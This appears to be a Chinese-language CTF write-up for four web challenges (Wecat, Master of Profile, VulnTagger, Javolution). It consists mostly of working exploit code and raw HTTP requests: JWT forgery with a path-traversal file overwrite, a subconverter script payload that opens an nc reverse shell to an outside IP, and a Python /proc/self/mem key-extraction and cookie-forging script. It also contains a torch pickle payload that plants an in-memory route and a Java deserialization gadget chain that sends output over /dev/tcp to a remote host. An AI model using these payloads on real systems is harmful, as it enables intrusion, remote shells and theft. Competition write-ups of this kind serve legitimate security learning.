0x01 Wecat
伪造一下 jwt,本地看 admin 的 uid 是 admin@wecat.com。
getToken (uid) {
return jwt.sign({ // 生成token
exp: Math.floor(Date.now() / 1000) + (60 * 60), // token十五分钟过期
data: `${uid}pass`
}, 'shhhhh')
}
后端是 dev 启动的,可以覆盖源码达到实时修改的目的。
POST /wechatAPI/upload/once HTTP/1.1
Host: 1.95.54.149:41705
Content-Length: 1277
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
Accept: application/json, text/plain, */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1MWw8rv9Mkc9QBUn
sec-ch-ua-mobile: ?0
Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjk3MTA1NjIyNTMsImRhdGEiOiJhZG1pbkB3ZWNhdC5jb21wYXNzIiwiaWF0IjoxNzEwNTU4NjUzfQ.uh03vxCqIqSrrK1sWCeJJMBmLPM4Tvfehqz7dm5f-tw
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
sec-ch-ua-platform: "macOS"
Origin: http://127.0.0.1:8088
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8088/home
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: loginstate=true; userid=864f70fe-1761-4cb0-964a-cdce2513aa29; indent_type=space; space_units=4; keymap=sublime; csrftoken=M9nS9TyIl9vOZ69O8LFZ4XCP0txKAAELSXQIr3BEHljI6TxWxkLZtlJa7NOTmTlv
Connection: close
------WebKitFormBoundary1MWw8rv9Mkc9QBUn
Content-Disposition: form-data; name="file"; filename="1.jpg"
Content-Type: application/octet-stream
const router = require('@koa/router')()
const { exec } = require('child_process');
router.get('/wechatAPI/flag', (ctx) => {
var flag = child_process.execFileSync("/readflag").toString()
ctx.status = 200
ctx.body = {
msg: flag
}
})
module.exports = router.routes()
------WebKitFormBoundary1MWw8rv9Mkc9QBUn
Content-Disposition: form-data; name="hash"
12dd8536da18ed8b8b8b5e55cd19b112
------WebKitFormBoundary1MWw8rv9Mkc9QBUn
Content-Disposition: form-data; name="postfix"
/../../../../../../app/src/route/flag.js
------WebKitFormBoundary1MWw8rv9Mkc9QBUn
Content-Disposition: form-data; name="chunkIndex"
1
------WebKitFormBoundary1MWw8rv9Mkc9QBUn
Content-Disposition: form-data; name="chunksTotal"
1
------WebKitFormBoundary1MWw8rv9Mkc9QBUn--
###
0x02 Master of Profile
https://github.com/tindy2013/subconverter 0DAY
以前有一场比赛出过这个工具的 0DAY : WMCTF2022 subconverter
https://rce.moe/2022/08/23/WMCTF-2022-WRITEUP/#subconverter
任意文件读取,可以读配置文件
http://1.95.13.243:49319/getlocal?path=/app/pref.yml
可以拿到一个 token
同时看到没有打开 cache 功能
法1
需要找另一个文件写入点
POST http://1.95.13.243:49319/updateconf?token=189069462103782304169366230&type=direct HTTP/1.1
Content-Type: text/plain
User-Agent: PostmanRuntime/7.36.3
Accept: */*
Postman-Token: 3d2bff18-43e5-4bdf-9eb7-663b4213e438
Host: 1.95.13.243:49319
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 117
function parse(x) {
console.log("success");
os.exec(["/usr/bin/nc", "8.134.216.221", "7777", "-e", "/bin/sh"]);
}
弹 shell
http://1.95.13.243:49319/sub?target=clash&url=script:pref.yml&token=189069462103782304169366230
法2
把enable_cache改成true
用nday打
0x03 VulnTagger
【VulnTagger新增提示】 1. 本题为传统Web题,不包含AI元素,请放心食用 2. 背景图片挺好看的,看看它从哪来? 3. 版本控制工具是个好东西,出题人很喜欢用。
根据提示开始脑洞,githack dump 源码
通过 range: bytes={start}-{end}
来读取 mem 中的密钥,伪造成 admin 上传 pt 文件,之后 torch load 的时候触发 pickle 反序列化。
密钥的特征不好识别,22 位长度的大小写数字太常见了,于是读了一下解 cookie 的代码改了改,一边读 mem,一边解 cookie,成功就退出。
import json
import re
import time
from base64 import b64encode
import itsdangerous
import requests
def parse_maps_file(maps_file):
readable_regions = []
url = "http://1.95.11.7:40721/static/..%2F..%2F..%2F..%2F..%2Fproc/self/maps"
r = requests.get(url)
time.sleep(1)
text = r.text
with open("maps", 'w') as f:
f.write(text)
with open(maps_file, 'r') as file:
for line in file:
parts = line.split()
if 'r' in parts[1]: # 检查权限字段是否包含 'rw'
addresses = parts[0].split('-')
start = int(addresses[0], 16) # 将十六进制地址转换为十进制
end = int(addresses[1], 16) # 将十六进制地址转换为十进制
readable_regions.append((start, end))
return readable_regions
def contains_required_characters(text):
# 包含至少一个大写字母、一个小写字母和一个数字
pattern = r'^(?=.*[A-Z])(?=.*[a-z])(?=.*\d).+$'
return re.match(pattern, text) is not None
def contains_blacklist(text, blacklist):
return not any(word.lower() in text.lower() for word in blacklist)
class StorageSession:
def __init__(self, signed_value):
self.signed_value = signed_value
def crack(self, secret_key):
data = ""
try:
max_age = 14 * 24 * 60 * 60
# secret_key = "M31-58Xdiz-sje2EUsUZEQ"
signer = itsdangerous.TimestampSigner(str(secret_key))
data = signer.unsign(
signed_value=self.signed_value,
max_age=max_age)
print(data)
except:
pass
return data
def get_cookie():
# 获取 cookie
burp0_url = "http://1.95.11.7:40721/admin"
burp0_cookies = {
"session": "eyJpZCI6ICIwOGZhZTIzOC1mNzE1LTQ5MDEtOTk3MS1iNDVjMDk2MTVhOGQiLCAiaXNfYWRtaW4iOiB0cnVlfQ==.ZfXARQ.dH3mLf_-51c-fK4ZKJw3d1k3o3M"}
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Accept-Encoding": "gzip, deflate, br", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8",
"Connection": "close"}
r = requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
s = r.headers['set-cookie'].split(";")[0].split("session=")[1]
return s
def get_admin(secret_key):
max_age = 14 * 24 * 60 * 60
# secret_key = "nD5hTi6WkUNacMt6V9wUtA"
signer = itsdangerous.TimestampSigner(str(secret_key))
data = b64encode(
json.dumps({"id": "08fae238-f715-4901-9971-b45c09615a8d", "is_admin": True}).encode(
"utf-8"))
data = signer.sign(data)
print(data)
return data
def main():
found = False
maps_file = 'maps'
readable_regions = parse_maps_file(maps_file)
url = "http://1.95.11.7:40721/static/..%2F..%2F..%2F..%2F..%2Fproc/self/mem"
maps_reg = r'([A-Za-z0-9_\-]{22})'
# 一边测试代码一边顺便加了几条黑名单来加速,也没有问题都不大,就是慢点
blacklist = ["Processing", "function", "Socket", "plotly", "context", "Register", "differentiable", "stream",
"money", "system", "error", "file", "counted", "directory", "Password", "Request", "Params", "Base",
"sqlite", "abcdef", "0123456", "get", "name", "size", "pool"]
storage_session = StorageSession(get_cookie())
for start, end in readable_regions:
# 退出多重循环
if found:
break
header = {"range": f"bytes={start}-{end}"}
try:
r = requests.get(url, headers=header, timeout=20000)
print(header, r.status_code)
secret = set(re.findall(maps_reg, r.text))
for i in secret:
if contains_required_characters(i) and contains_blacklist(i, blacklist):
data = storage_session.crack(i)
print(f"{start}-{end} contains matching pattern: {i}")
if data != "" and data is not None:
# 然后伪造 admin
admin = get_admin(i)
print(f"foundfoundfound!!! ---- {data} ---- {i} ---- {admin}")
# 退出多重循环
found = True
if r.status_code == 206:
with open(f"mems/{start}-{end}", 'wb') as f:
f.write(r.content)
time.sleep(1)
except:
continue
if __name__ == '__main__':
main()
Pickle 反序列化的时候,exec 执行一段 python 代码,新建一个 @app.post("/")
路由(相当于内存马?
将 bot 发送的东西都写到一个文件里,弹 shell 进去 cat 看看即可
import io
import json
import base64
import torch
import matplotlib
import matplotlib.image
args = """
from nicegui import app
from starlette.requests import Request
@app.post("/")
async def index_post(request: Request):
import hashlib
from starlette.responses import JSONResponse
headers = request.headers
x_pow_token = headers.get("x-pow-token", "0")
x_pow_difficulty = int(headers.get("x-pow-difficulty", "0"))
res = str(headers)
open("/tmp/test", "ab+").write(res.encode())
prefix = "0" * x_pow_difficulty
nonce = 0
while True:
data = f"{nonce}"
hex_digest = hashlib.sha256((x_pow_token + data).encode()).hexdigest()
if hex_digest.startswith(prefix):
return JSONResponse(status_code=418, content={"bar": data})
nonce += 1
"""
class Exploit(object):
def __reduce__(self):
return (exec, (args,))
torch.save(Exploit(), "InjectModel", _use_new_zipfile_serialization=False)
0x04 Javolution
游戏逻辑有一个负数溢出?反正打败恶龙了.jpg
http://1.95.54.152:34473/pal/cheat?hp=-1000000000&attack=-1000000000&defense=-1000000000
然后 level 变 50
可以在路由 /pal/cheat 进行反序列化
之后有一个 RCE,参考这篇论文,,,,,,
https://i.blackhat.com/Asia-23/AS-23-Yuanzhen-A-new-attack-interface-in-Java.pdf
https://github.com/luelueking/Deserial_Sink_With_JDBC
差不多是这样打,会有一点bug,起了docker之后才改清楚的
Jdk 17 反序列化
--add-opens java.xml/``com.sun.org``.apache.xpath.internal.objects=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED
import com.fasterxml.jackson.databind.node.POJONode;
import com.teradata.jdbc.TeraConnectionPoolDataSource;
import com.teradata.jdbc.TeraDataSource;
import com.teradata.jdbc.TeraDataSourceBase;
import com.teradata.jdbc.TeraPooledConnection;
import org.assertj.core.util.xml.XmlStringPrettyFormatter;
import org.dubhe.javolution.pool.PalDataSource;
import org.mockito.internal.matchers.Equals;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.target.HotSwappableTargetSource;
import sun.misc.Unsafe;
import javax.management.BadAttributeValueExpException;
import javax.sql.DataSource;
import javax.xml.transform.Templates;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.sql.SQLException;
import java.util.*;
public class exp {
public static void main(String[] args) throws Exception {
// com.sun.org.apache.xpath.internal.objects.XString
// --add-opens java.xml/com.sun.org.apache.xpath.internal=ALL-UNNAMED
final ArrayList<Class> classes = new ArrayList<>();
classes.add(Class.forName("java.lang.reflect.Field"));
classes.add(Class.forName("java.lang.reflect.Method"));
classes.add(Class.forName("java.util.HashMap"));
classes.add(Class.forName("java.util.Properties"));
classes.add(Class.forName("java.util.PriorityQueue"));
classes.add(Class.forName("com.teradata.jdbc.TeraDataSource"));
classes.add(Class.forName("javax.management.BadAttributeValueExpException"));
classes.add(Class.forName("com.sun.org.apache.xpath.internal.objects.XString"));
classes.add(Class.forName("java.util.HashMap$Node"));
classes.add(Class.forName("com.fasterxml.jackson.databind.node.POJONode"));
// classes.add(Class.forName("java.xml.*"));
new exp().bypassModule(classes);
TeraDataSource dataSource = new PalDataSource();
dataSource.setBROWSER("bash -c /readflag>&/dev/tcp/8.134.216.221/7777");
dataSource.setLOGMECH("BROWSER");
dataSource.setDSName("8.134.216.221");
dataSource.setDbsPort("10250");
Class unsafeClass = Class.forName("sun.misc.Unsafe");
Field field = unsafeClass.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);
Module baseModule = dataSource.getClass().getModule();
Class currentClass = PriorityQueue.class;
long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.putObject(currentClass, offset, baseModule);
Class<?> clazz =
Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(dataSource);
InvocationHandler handler = (InvocationHandler)
cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]
{DataSource.class}, handler);
POJONode pojoNode = new POJONode(proxyObj);
// POJONode pojoNode = new POJONode(dataSource);
// pojoNode.toString();
// com.sun.org.apache.xpath.internal.objects
Class cls = Class.forName("com.sun.org.apache.xpath.internal.objects.XString");
Constructor constructor = cls.getDeclaredConstructor(String.class);
constructor.setAccessible(true);
Object xString = constructor.newInstance("1");
HashMap hashMap = makeMap(xString,pojoNode);
serialize(hashMap);
// unserialize("ser.bin");
}
public static HashMap<Object, Object> makeMap (Object obj1, Object obj2) throws Exception {
HotSwappableTargetSource v1 = new HotSwappableTargetSource(obj2);
HotSwappableTargetSource v2 = new HotSwappableTargetSource(obj1);
HashMap<Object, Object> s = new HashMap<>();
setFiledValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFiledValue(s, "table", tbl);
return s;
}
public static void setFiledValue(Object obj, String key, Object val) throws Exception {
Field field ;
try{
field = obj.getClass().getDeclaredField(key);
}catch(Exception e){
if (obj.getClass().getSuperclass() != null)
field = obj.getClass().getSuperclass().getDeclaredField(key);
else {
return;
}
}
field.setAccessible(true);
field.set(obj,val);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
oos.writeObject(obj);
}
public static void unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(Filename)));
Object obj = ois.readObject();
}
public void bypassModule(ArrayList<Class> classes){
try {
Unsafe unsafe = getUnsafe();
Class currentClass = this.getClass();
try {
Method getModuleMethod = getMethod(Class.class, "getModule", new Class[0]);
if (getModuleMethod != null) {
for (Class aClass : classes) {
Object targetModule = getModuleMethod.invoke(aClass, new Object[]{});
unsafe.getAndSetObject(currentClass, unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule);
}
}
}catch (Exception e) {
}
}catch (Exception e){
e.printStackTrace();
}
}
private static Method getMethod(Class clazz, String methodName, Class[] params) {
Method method = null;
while (clazz!=null){
try {
method = clazz.getDeclaredMethod(methodName,params);
break;
}catch (NoSuchMethodException e){
clazz = clazz.getSuperclass();
}
}
return method;
}
private static Unsafe getUnsafe() {
Unsafe unsafe = null;
try {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe) field.get(null);
} catch (Exception e) {
throw new AssertionError(e);
}
return unsafe;
}
}